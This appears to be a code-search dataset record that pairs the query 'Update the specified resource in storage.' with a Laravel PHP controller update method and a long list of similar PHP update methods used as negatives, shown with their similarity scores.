[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update($id) { $data = $this->inputAll(); $event = $this->events->findOrFail($id); $rules = $this->events->getUpdateRules(); unset($data['storage_events_id'], $data['properties_id']); $validator = $this->validator->make($data, $rules); if ($validator->fails()) { return $this->redirect->back()->withErrors($validator)->withInput(); } $data['is_arifmetic'] = (isset($data['is_arifmetic'])) ? (int) $data['is_arifmetic'] : 0; if($data['is_arifmetic'] == 0) $data['char'] = ""; $event->update($data); return $this->redirect('events.index'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n 